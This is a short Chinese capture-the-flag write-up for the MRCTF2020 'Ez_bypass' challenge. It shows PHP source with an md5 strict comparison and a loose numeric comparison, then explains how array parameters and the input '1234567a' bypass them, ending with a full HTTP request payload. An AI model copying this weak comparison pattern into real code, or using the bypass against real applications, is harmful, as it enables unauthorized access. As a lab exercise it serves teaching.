[MRCTF2020]Ez_bypass

打开题目后得到源码，可以使用 PHP 代码在线格式化一下，方便阅读。源码如下。

$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset($_GET['gg']) && isset($_GET['id'])) {
    $id = $_GET['id'];
    $gg = $_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if (isset($_POST['passwd'])) {
            $passwd = $_POST['passwd'];
            if (!is_numeric($passwd)) {
                if ($passwd == 1234567) {
                    echo 'Good Job!';
                    highlight_file('flag.php');
                    die('By Retr_0');
                } else {
                    echo "can you think twice??";
                }
            } else {
                echo 'You can not get it !';
            }
        } else {
            die('only one way to get the flag');
        }
    } else {
        echo "You are not a real hacker!";
    }
} else {
    die('Please input first');
}

可以看到，第一重是 md5() 函数的真比较，可以传入数组绕过。第二重则是弱相等，直接使变量为 1234567a 即可。Payload 如下。

POST /?id[]=1&gg[]=2 HTTP/1.1
Host: 10ab5c05-bdbc-47c9-8386-fe3b205a5a55.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

passwd=1234567a